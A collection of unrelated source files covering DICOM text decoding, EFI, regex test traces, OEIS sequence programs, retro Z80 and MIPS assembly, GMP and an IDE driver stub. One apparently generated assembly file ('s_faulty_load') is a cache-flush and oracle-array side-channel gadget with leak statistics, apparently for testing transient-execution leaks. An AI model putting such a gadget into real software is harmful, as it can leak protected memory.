if (text[i++] == '\0')
{
code = 0;
}
else if (i < j)
{
if (text[i++] == '\0')
{
code = 0;
}
}
// unrecognized multi-byte character
UnicodeToUTF8(code, &s);
}
}
// Make sure we are at the escape code (or the end of string)
i = j;
// Get the escape code for the next segment
if (text[i] == '\033')
{
i++;
if (i + 2 > l) { break; }
unsigned char oldcharset = charset;
charset = 0xFF; // indicate none found yet
// look through single-byte charset escape codes
for (unsigned char k = 0; k < ISO_2022_LOWBIT; k++)
{
const char *escape = Charsets[k][2];
size_t le = strlen(escape);
if (le > 0 && strncmp(&text[i], escape, le) == 0)
{
if (k == ISO_IR_13 && (oldcharset == ISO_2022_IR_87 ||
oldcharset == ISO_2022_IR_159))
{
// The ISO_IR_13 charset goes in G1, so let's keep the
// currently active kanji charset in G0.
charset = oldcharset;
}
else if (k == ISO_IR_14)
{
// The escape code for Japanese romaji (ISO_IR 14) switches
// to JIS X 0201, which DICOM defines as "ISO 2022 IR 13".
charset = ISO_IR_13;
}
else
{
charset = k;
}
i += le;
break;
}
}
// the escape code doesn't match a single-byte charset
if (charset == 0xFF)
{
// look through multibyte charset escape codes
for (int k = 0; k < 4; k++)
{
const char *escape = Extensions[k][2];
size_t le = strlen(escape);
if (le > 0 && strncmp(&text[i], escape, le) == 0)
{
charset = (ISO_2022_LOWBIT << k);
i += le;
break;
}
}
}
}
}
}
return s;
}
//----------------------------------------------------------------------------
std::string vtkDICOMCharacterSet::CaseFoldedUTF8(
const char *text, size_t l) const
{
std::string s;
std::string t;
const char *cp = text;
const char *ep = text + l;
if (this->Key != ISO_IR_6 && // US-ASCII
this->Key != ISO_IR_192) // UTF-8
{
t = this->ConvertToUTF8(text, l);
cp = t.data();
ep = cp + t.length();
}
while (cp != ep)
{
unsigned int code = UTF8ToUnicode(&cp, ep);
CaseFoldUnicode(code, &s);
}
return s;
}
//----------------------------------------------------------------------------
size_t vtkDICOMCharacterSet::NextBackslash(
const char *text, const char *ep) const
{
const char *cp = text;
if (this->Key == GB18030 || this->Key == GBK)
{
// ensure backslash isn't second part of a multi-byte character
while (cp != ep && *cp != '\0')
{
if (static_cast<unsigned char>(*cp) >= 0x81)
{
cp++;
if (cp != ep && static_cast<unsigned char>(*cp) >= 0x21)
{
cp++;
}
}
else if (*cp != '\\')
{
cp++;
}
else
{
break;
}
}
}
else if (this->Key == ISO_IR_13)
{
// ensure backslash isn't second part of a Shift-JIS character
// that has been erroneously stored as ISO_IR 13
while (cp != ep && *cp != '\0')
{
unsigned char x = static_cast<unsigned char>(*cp);
if ((x >= 0x81 && x <= 0x9F) || (x >= 0xE0 && x <= 0xEF))
{
cp++;
if (cp != ep && static_cast<unsigned char>(*cp) >= 0x40 &&
static_cast<unsigned char>(*cp) <= 0xFC &&
static_cast<unsigned char>(*cp) != 0x7F)
{
cp++;
}
}
else if (*cp != '\\')
{
cp++;
}
else
{
break;
}
}
}
else if ((this->Key & ISO_2022) != 0)
{
// ensure backslash isn't part of a G0 multi-byte code
bool multibyte = false;
while (cp != ep && *cp != '\0')
{
// look for iso 2022 escape code
if (*cp == '\033')
{
cp++;
size_t l = 0;
while (cp + l != ep &&
static_cast<unsigned char>(cp[l]) >= 0x20 &&
static_cast<unsigned char>(cp[l]) <= 0x2f)
{
l++;
}
if (cp + l != ep &&
static_cast<unsigned char>(cp[l]) >= 0x40 &&
static_cast<unsigned char>(cp[l]) <= 0x7f)
{
l++;
if ((l == 2 && cp[0] == '$') ||
(l == 3 && cp[0] == '$' && cp[1] == '('))
{
// G0 is designated to multibyte
multibyte = true;
}
else if (l == 2 && cp[0] == '(')
{
// G0 is designated to single byte
multibyte = false;
}
}
cp += l;
}
else if (multibyte || *cp != '\\')
{
cp++;
}
else
{
break;
}
}
}
else
{
// no special encoding, so backslash is backslash
while (cp != ep && *cp != '\0')
{
if (*cp == '\\')
{
break;
}
cp++;
}
}
return (cp - text);
}
//----------------------------------------------------------------------------
unsigned int vtkDICOMCharacterSet::CountBackslashes(
const char *text, size_t l) const
{
unsigned int count = 0;
const char *cp = text;
const char *ep = text + l;
while (cp != ep && *cp != '\0')
{
cp += this->NextBackslash(cp, ep);
if (cp != ep && *cp == '\\')
{
cp++;
count++;
}
}
return count;
}
//----------------------------------------------------------------------------
ostream& operator<<(ostream& o, const vtkDICOMCharacterSet& a)
{
std::string s = a.GetCharacterSetString();
if (s.length() == 0)
{
s = "ISO_IR 6";
}
else if (s[0] == '\\')
{
s.insert(0, "ISO 2022 IR 6");
}
return o << s.c_str();
}
|
;/*++
;
;Copyright (c) 2008, Intel Corporation. All rights reserved.<BR>
;This program and the accompanying materials
;are licensed and made available under the terms and conditions of the BSD License
;which accompanies this distribution. The full text of the license may be found at
;http://opensource.org/licenses/bsd-license.php
;
;THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS,
;WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.
;
;Module Name:
;
;CpuFlushCache.c
;
;Abstract:
;
;Cpu Flush Cache Function.
;
;--*/
;---------------------------------------------------------------------------
.586p
.model flat,C
.code
;---------------------------------------------------------------------------
;
;//
;// Cache Flush Routine.
;//
;EFI_STATUS
;EfiCpuFlushCache (
;IN EFI_PHYSICAL_ADDRESS Start,
; IN UINT64 Length
;)
;/*++
;
;Routine Description:
;
;Flush cache with specified range.
;
;Arguments:
;
;Start - Start address
; Length - Length in bytes
;
;Returns:
;
;Status code
;
;EFI_SUCCESS - success
;
;--*/
EfiCpuFlushCache PROC
wbinvd
xor eax, eax
ret
EfiCpuFlushCache ENDP
END
|
;; Regex: "[a-ce -]+"
;; TOKENS:
;; nextsym(): {LBracket, '['}
;; nextsym(): {CharSym, 'a'}
;; nextsym(): {Minus, '-'}
;; nextsym(): {CharSym, 'c'}
;; nextsym(): {CharSym, 'e'}
;; nextsym(): {CharSym, '\x20'}
;; nextsym(): {Minus, '-'}
;; nextsym(): {RBracket, ']'}
;; unget(): buffering {Minus, '-'}
;; nextsym(): unbuffering {RBracket, '%'}
;; nextsym(): {Plus, '+'}
;; nextsym(): {Eof, ''}
;; PARSE TREE:
;; REGEX {
;; SUB {
;; EXPR {
;; TERM {
;; LBracket:'['
;; CLASS {
;; CharSym:'a'
;; CharSym:'c'
;; CLASS {
;; CharSym:'e'
;; CLASS {
;; CharSym:'\x20'
;; CLASS {
;; Minus:'-'
;; }
;; }
;; }
;; }
;; RBracket:']'
;; }
;; Plus:'+'
;; }
;; }
;; }
;; BEGIN GENERATED CODE:
L1:
range a c e e \x20 \x20 - -
split L1 L2
L2:
match
;; BEGIN TEST RUNS:
;; "ab-e": match(4) (0, 0)
;; "aaabbbcc eee": match(12) (0, 0)
;; "abcd": match(3) (0, 0)
|
; A113901: Product of omega(n) and bigomega(n) = A001221(n)*A001222(n), where omega(x): number of distinct prime divisors of x. bigomega(x): number of prime divisors of x, counted with multiplicity.
; 0,1,1,2,1,4,1,3,2,4,1,6,1,4,4,4,1,6,1,6,4,4,1,8,2,4,3,6,1,9,1,5,4,4,4,8,1,4,4,8,1,9,1,6,6,4,1,10,2,6,4,6,1,8,4,8,4,4,1,12,1,4,6,6,4,9,1,6,4,9,1,10,1,4,6,6,4,9,1,10,4,4,1,12,4,4,4,8,1,12,4,6,4,4,4,12,1,6,6,8
mov $1,$0
seq $0,1221 ; Number of distinct primes dividing n (also called omega(n)).
seq $1,86436 ; Maximum number of parts possible in a factorization of n; a(1) = 1, and for n > 1, a(n) = A001222(n) = bigomega(n).
mul $0,$1
|
; A177707: Decimal expansion of (5+sqrt(65))/8.
; Submitted by Jon Maiga
; 1,6,3,2,7,8,2,2,1,8,5,3,7,3,1,8,7,0,6,5,4,5,8,2,6,6,5,3,7,8,7,9,7,1,3,9,1,3,9,1,7,9,9,5,3,8,2,0,1,0,7,1,6,7,3,4,9,2,0,7,4,0,4,8,6,5,7,9,8,4,3,6,8,8,7,8,2,1,1,0,2,5,3,7,0,0,1,9,2,8,3,3,3,9,6,5,3,8,3,0
mov $1,1
mov $2,1
mov $3,$0
mul $3,6
lpb $3
mul $1,$3
mul $2,$3
add $1,$2
sub $2,13
add $5,1
div $1,$5
div $2,$5
add $2,$1
mul $2,4
sub $3,4
lpe
mov $4,10
pow $4,$0
div $2,$4
div $1,$2
mod $1,10
mov $0,$1
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r15
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x7efb, %rsi
lea addresses_WT_ht+0xea1b, %rdi
nop
nop
nop
inc %r15
mov $37, %rcx
rep movsb
cmp $41654, %r9
lea addresses_A_ht+0x9e1b, %rsi
lea addresses_D_ht+0x14e3b, %rdi
clflush (%rsi)
nop
xor %r9, %r9
mov $54, %rcx
rep movsw
nop
nop
nop
cmp $60991, %rsi
lea addresses_D_ht+0x1b81b, %r11
add $54575, %r13
mov (%r11), %r9
and %rcx, %rcx
lea addresses_UC_ht+0x1643f, %rcx
nop
nop
inc %rsi
movb $0x61, (%rcx)
nop
nop
nop
sub %rdi, %rdi
lea addresses_UC_ht+0x19a1b, %rcx
inc %r13
mov (%rcx), %r11w
nop
nop
nop
and $11504, %r11
lea addresses_WC_ht+0x431b, %r15
nop
nop
nop
nop
inc %rsi
movups (%r15), %xmm4
vpextrq $0, %xmm4, %r13
nop
nop
nop
nop
nop
xor $54068, %r9
lea addresses_D_ht+0x1da1b, %rsi
lea addresses_D_ht+0xe1db, %rdi
nop
nop
nop
nop
nop
xor %rbp, %rbp
mov $16, %rcx
rep movsw
nop
nop
nop
nop
sub %r13, %r13
lea addresses_normal_ht+0x1265b, %r11
nop
nop
cmp %rbp, %rbp
mov (%r11), %r9
add $64406, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r9
pop %r15
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r14
push %r8
push %rbp
push %rdx
// Faulty Load
lea addresses_WT+0x19a1b, %rdx
clflush (%rdx)
nop
nop
nop
nop
sub %r8, %r8
vmovaps (%rdx), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %rbp
lea oracles, %r14
and $0xff, %rbp
shlq $12, %rbp
mov (%r14,%rbp,1), %rbp
pop %rdx
pop %rbp
pop %r8
pop %r14
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': True, 'size': 32}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 5, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 1, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 10, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'18': 1, '64': 517, 'd4': 439, '00': 635, 'd7': 1, '45': 18529, '90': 1707}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
|
.text
li $t0,10
li $t1,-2
blez $t0,loop1
slti $s1,$t0,-2
blez $t1,loop2
slti $s2,$t1,-10
blez $t2,loop3
slti $s3,$t1,-2
loop1:
addiu $s1,$s1,1
loop2:
slti $t4,$t1,-2
addiu $t1,$t1,1
addiu $s2,$s2,1
loop3:
addiu $s3,$s3,1
blez $t1,loop2
nop
|
; A024384: a(n) = s(1)*s(2)*...*s(n+1)*(1/s(2) - 1/s(3) + ... + c/s(n+1)), where c = (-1)^(n+1) and s(k) = 4k-3 for k = 1,2,3,...
; Submitted by Christian Krause
; 1,4,97,1064,32289,598380,22574145,593534160,26957380545,920377787220,48996867845025,2059752490500600,125880489657907425,6289366704447815100,434143177716332484225,25139306218115649924000,1934812150723967345546625,127427485507344478670350500,10820323893237399899099366625,798798857145995013632905581000,74187340492114560792522566750625,6068071104848272216667833089727500,611910208457432524904242583590610625,54930387819662436501577058727415590000,5977184702654632372830326703913717730625
add $0,1
mov $1,-28
mov $2,1
lpb $0
sub $0,1
div $1,-1
add $2,4
mul $3,$2
add $3,$1
mul $1,$2
lpe
mov $0,$3
div $0,28
|
db "SHIELD@" ; species name
db "It is armored"
next "outstandingly. As"
next "a result, it can"
page "eat grass and"
next "berries without"
next "having to fight.@"
|
; dir - list all available files
UseTestData equ 0 ; 1 - use test data; 0 - use real IO
PrintChar equ &BB5A
WaitChar equ &BB06
org &8000
SendDirCmd:
ld a, 1 ; Load DIR cmd into accumulator
call SendControlByte ; Send DIR command
NextFile:
call RecvControlByte
cp 1 ; if we receive 1 from the control port, then we can start receiving the response
jr nz, Finish
call RecvFile
ld a, (Count)
inc a
ld (Count), a ; if there are more than 255 files, this will fail miserably
jr NextFile
Finish:
ld a, (Count)
cp 0
jp z,PrintEmpty ; A = 0 -> No files in directory -- Jump to empty msg
ret ; end program
#if UseTestData
SendByte:
jp TestSendByte
SendControlByte:
ret
RecvByte:
jp TestRecvByte
RecvControlByte:
jp TestRecvControlByte
; Test Routine for sending message - does nothing
TestSendByte:
ret
; Test Routine for receiving byte. Instead of using IO, it will fetch the data from the 'TestData' var
TestRecvByte:
push hl ; push registers HL, BC, and DE into stack
push bc
push de
ld hl,TestData ; load HL register with TestData address
ld bc,TestDataPos ; load BC register with TestDataPos address
ld d,0 ; Load DE register pair with the current memory position of the Test data
ld a,(bc)
ld e,a
add hl,de
inc a
ld (bc), a
ld a, (hl) ; load A register with the result byte
pop de ; pop registers HL, BC, and DE from stack
pop bc
pop hl
ret
TestRecvControlByte:
ld a, (TestDataCount)
cp 4
ret z ; return if A == 4
inc a
ld (TestDataCount), a ; store incremented TestDataCount
ld a, 1 ; return a with 1
ret
#else
SendControlByte:
jp DoSendControlByte
RecvByte:
jp DoRecvByte
RecvControlByte:
jp DoRecvControlByte
DoSendControlByte:
ld c, &d1 ; Load C with low port byte
ld b, &fb ; Load D with high port byte
out (c), a ; Send DIR cmd
ret
DoRecvByte:
ld a, &fb ; Load A with high port byte
in a, (&d0) ; Read byte from IO data port
ret
DoRecvControlByte:
ld a, &fb ; Load A with high port byte
in a, (&d1) ; Read byte from IO control port
ret
#endif
; Receive file name in the form: XXXXXXXXEEESF where:
; - X represents filename chars,
; - E file extension chars,
; - S the size of the file in KB,
; - F if the source filename is invalid - TODO
RecvFile:
ld hl,FileName ; load HL register pair with initial loc of FileName var
ld b,11 ; expect exactly 11 chars in filename + extension
RecvFileName:
call RecvByte ; receive byte from file name
ld (hl),a ; load filename var with received byte from A register
inc hl ; increment HL
dec b ; decrement b (filename + extension)
ld a,b ; Load register B into Accumulator
cp 3 ; have we reached 3 (extension)?
call z, FileExtensionSep ; if A == 3 -> add '.' to file name buffer
cp 0 ; have we reached 0?
jr nz, RecvFileName ; if A != 0 -> keep receiving bytes
call RecvByte ; Receive byte with file size
ld hl,FileSize ; load HL register pair with FileSize var
ld (hl),a ; store file size var
call PrintFileInfo
ret
; Add '.' between file name and extension
FileExtensionSep:
inc hl
ld a,'.' ; Add a '.' between the filename and extension - Load A with '.'
ld ix, FileName
ld (ix+9),a ; Store '.' in filename
ret
; Prints the file name and size to the screen
PrintFileInfo:
ld hl,FileName ; load HL register pair with initial loc of FileName var
call PrintString
ld a, ' ' ; Add spaces between filename and extension
call PrintChar
call PrintChar
call PrintChar
call PrintChar
; convert the file size byte in memory to ASCII
ld bc,FileSize ; load BC register pair the FileSize var loc
ld a,(bc) ; Load A with BC register - contains file size
ld h,0 ; load H with 0 - High
ld l,a ; load L with A - Low - file size
ld de,FileSizeDec ; load DE register with the FileSizeDec var loc - mem to store the converted string
call Num2Dec
ld hl,FileSizeDec ; load HL register pair the FileSizeDec var loc
call PrintString
ld a, 'K' ; Load 'K' into A register
call PrintChar
call NewLine
ret
; Prints the no files msg to the screen
PrintEmpty:
ld hl,Empty ; load empty string mem loc into HL
call PrintString
call NewLine
ret ; end program
; Prints the not connected/timeout message screen
PrintTimeout:
ld hl,Timeout ; load empty string mem loc into HL
call PrintString
call NewLine
ret ; end program
; Print a '255' terminated string
PrintString:
ld a, (hl) ; load memory referenced by HL into register A
cp 255 ; Compare byte with 255
ret z ; return if A == 255
inc hl ; increment HL
call PrintChar
jr PrintString
NewLine:
ld a,13 ; Carriage return
call PrintChar
ld a,10 ; Line Feed
jp PrintChar
; 16-bit Integer to ASCII (decimal) - adapted from http://map.grauw.nl/sources/external/z80bits.html
Num2Dec:
ld bc,-10000
call Num1
ld bc,-1000
call Num1
ld bc,-100
call Num1
ld c,-10
call Num1
ld c,b
Num1:
ld a,'0'-1
Num2:
inc a
add hl,bc
jr c,Num2
sbc hl,bc
cp a,'0' ; replace leading zeros with spaces
jr nz, Num3
ld a,' '
Num3:
ld (de),a
inc de
ret
Empty:
db 'No files in directory.', 255
Timeout:
db 'Timeout!',13,10,'Is the Arduino connected to the CPC?', 255
FileName:
db 'XXXXXXXX.XXX',255
FileSize:
db 0
FileSizeDec:
db '00000',255
Count:
db 0
#if UseTestData
TestData:
db 'FILEA BAS',3,'FILEB BIN',12,'BRUNO BAS',1,'CONDE BIN',5
TestDataPos:
db 0
TestDataCount:
db 0
#endif |
; A021224: Expansion of 1/((1-x)(1-2x)(1-7x)(1-8x)).
; Submitted by Jon Maiga
; 1,18,221,2322,22485,207306,1850557,16149474,138611429,1174801914,9859790733,82107957906,679471095733,5594020809642,45859930816349,374633796970818,3051350828977797,24790769804563290,200985900646217005,1626505400638759410,13142370573395336021,106051256165163707658,854796090367325186301,6883071010260726942882,55377484093340727264805,445210284825510267279546,3577015163155573416581837,28723451497105026549508434,230538923319863287450914549,1849570565960067826064987754,14833378783488673295871085213
mov $1,1
mov $3,2
lpb $0
sub $0,1
mul $1,7
sub $2,1
mul $3,4
add $3,2
sub $3,$2
add $1,$3
mul $2,2
sub $2,2
mul $3,2
lpe
mov $0,$1
|
dnl AMD64 mpn_sqr_diag_addlsh1
dnl Contributed to the GNU project by Torbjörn Granlund.
dnl Copyright 2011-2013 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C cycles/limb
C AMD K8,K9 2.5
C AMD K10 2.5
C AMD bull 3.6
C AMD pile 3.6
C AMD steam ?
C AMD bobcat 4
C AMD jaguar ?
C Intel P4 ?
C Intel core 4
C Intel NHM 3.6
C Intel SBR 3.15
C Intel IBR 3.2
C Intel HWL 2.6
C Intel BWL ?
C Intel atom 14
C VIA nano 3.5
C When playing with pointers, set this to $2 to fall back to conservative
C indexing in wind-down code.
define(`I',`$1')
define(`rp', `%rdi')
define(`tp', `%rsi')
define(`up_arg', `%rdx')
define(`n', `%rcx')
define(`up', `%r11')
ABI_SUPPORT(DOS64)
ABI_SUPPORT(STD64)
ASM_START()
TEXT
ALIGN(32)
PROLOGUE(mpn_sqr_diag_addlsh1)
FUNC_ENTRY(4)
push %rbx
dec n
shl n
mov (up_arg), %rax
lea (rp,n,8), rp
lea (tp,n,8), tp
lea (up_arg,n,4), up
neg n
mul %rax
mov %rax, (rp,n,8)
xor R32(%rbx), R32(%rbx)
jmp L(mid)
ALIGN(16)
L(top): add %r10, %r8
adc %rax, %r9
mov %r8, -8(rp,n,8)
mov %r9, (rp,n,8)
L(mid): mov 8(up,n,4), %rax
mov (tp,n,8), %r8
mov 8(tp,n,8), %r9
adc %r8, %r8
adc %r9, %r9
lea (%rdx,%rbx), %r10
setc R8(%rbx)
mul %rax
add $2, n
js L(top)
L(end): add %r10, %r8
adc %rax, %r9
mov %r8, I(-8(rp),-8(rp,n,8))
mov %r9, I((rp),(rp,n,8))
adc %rbx, %rdx
mov %rdx, I(8(rp),8(rp,n,8))
pop %rbx
FUNC_EXIT()
ret
EPILOGUE()
|
; A062796: Inverse Moebius transform of f(n) = n^n (A000312).
; 1,5,28,261,3126,46688,823544,16777477,387420517,10000003130,285311670612,8916100495200,302875106592254,11112006826381564,437893890380862528,18446744073726329093,827240261886336764178,39346408075296925042601,1978419655660313589123980,104857600000000010000003386,5842587018385982521381947992,341427877364219557681958394200,20880467999847912034355032910568,1333735776850284124457997590116192,88817841970012523233890533447268751,6156119580207157310796977163506796034
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
pow $3,$0
sub $0,1
add $1,$3
lpe
add $1,1
mov $0,$1
|
#if defined(Hiro_Monitor)
namespace hiro {
auto pMonitor::count() -> uint {
@autoreleasepool {
return [[NSScreen screens] count];
}
}
auto pMonitor::dpi(uint monitor) -> Position {
@autoreleasepool {
NSScreen* screen = [[NSScreen screens] objectAtIndex:monitor];
NSDictionary* dictionary = [screen deviceDescription];
NSSize dpi = [[dictionary objectForKey:NSDeviceSize] sizeValue];
return {dpi.width, dpi.height};
}
}
auto pMonitor::geometry(uint monitor) -> Geometry {
@autoreleasepool {
NSRect rectangle = [[[NSScreen screens] objectAtIndex:monitor] frame];
return {(int)rectangle.origin.x, (int)rectangle.origin.y, (int)rectangle.size.width, (int)rectangle.size.height};
}
}
auto pMonitor::primary() -> uint {
//on OS X, the primary monitor is always the first monitor
return 0;
}
}
#endif
|
; A279079: Maximum starting value of X such that repeated replacement of X with X-ceiling(X/9) requires n steps to reach 0.
; 0,1,2,3,4,5,6,7,8,10,12,14,16,19,22,25,29,33,38,43,49,56,64,73,83,94,106,120,136,154,174,196,221,249,281,317,357,402,453,510,574,646,727,818,921,1037,1167,1313,1478,1663,1871,2105,2369,2666,3000,3376,3799
mov $1,9
lpb $0
sub $0,1
mul $1,9
sub $1,1
div $1,8
lpe
sub $1,9
mov $0,$1
|
;*******************************************************************************
; ide.nasm - E-IDE resource manager.
; Based on Minix 2.0.0 code.
;*******************************************************************************
module $eide
%include "rmk.ah"
%include "errors.ah"
%include "module.ah"
%include "thread.ah"
%include "hw/ports.ah"
%include "ide.ah"
library $libc
importproc _InterruptAttach
importproc _ThreadCtl, _ThreadCreate, _ThreadDetach
importproc _puts
; Interrupt request lines
%define IRQ_IDE1 14 ; Default IRQ for interface 1
%define IRQ_IDE2 15 ; Default IRQ for interface 2
%define IRQ_IDE3 11 ; Default IRQ for interface 3
%define IRQ_IDE4 12 ; Default IRQ for interface 4
; Miscellaneous
%define IDE_MAXDRIVES 4 ; Maximum number of supported drives
%define IDE_MAXCHANNELS IDE_MAXDRIVES/2 ; Max. 2 drives/channel
; Time intervals (in milliseconds)
%define IDE_MAXTIMEOUT 32000 ; Controller maximum timeout
%define IDE_RECOVERYTIME 500 ; Controller recovery time
%define IDE_IRQWAITTIME 10000 ; Maximum wait for an IRQ to happen
; Status flags
%define IDE_INITIALIZED 1 ; Drive is initialized
%define IDE_DEAF 2 ; Controller must be reset
%define IDE_INTELLIGENT 4 ; Intelligent ATA IDE drive
%define IDE_BLOCKMODEON 8 ; Block mode turned on
; Structure of IDE device parameters
struc tIDEdev
.BasePort RESW 1 ; Interface base port
.IRQ RESB 1 ; IRQ line number
.State RESB 1 ; State flags
.LCyls RESW 1 ; Logical (BIOS-compatible) parameters
.LHeads RESW 1
.LSectors RESW 1
.PCyls RESW 1 ; Physical parameters
.PHeads RESW 1
.PSectors RESW 1
.TotalSectors RESD 1 ; Total addressable sectors (LBA)
.LDHpref RESB 1 ; Top four bits of the LDH (head) register
.Precomp RESW 1 ; Write precompensation cylinder / 4
.MaxCount RESB 1 ; Max request for this drive
.OpenCount RESB 1 ; In-use count
.DriveNum RESB 1 ; Drive number
.SecPerInt RESB 1 ; Sectors per interrupt (R/W multiple)
.CommonDesc RESD 1 ; Common HD descriptor (for DIHD routines)
.ModelStr RESB 40
.Reserved RESB 41 ; Pad to 128 bytes
endstruc
section .data
ModuleInfo: instance tModInfoTag
field(Signature, DD RBM_SIGNATURE)
field(ModVersion, DD 1)
field(ModType, DB MODTYPE_EXECUTABLE)
field(Flags, DB MODFLAGS_RESMGR)
field(OStype, DW 1)
field(OSversion, DD 0)
field(Base, DD 0)
field(Entry, DD IDE_Main)
iend
TxtRegistering DB "Registering "
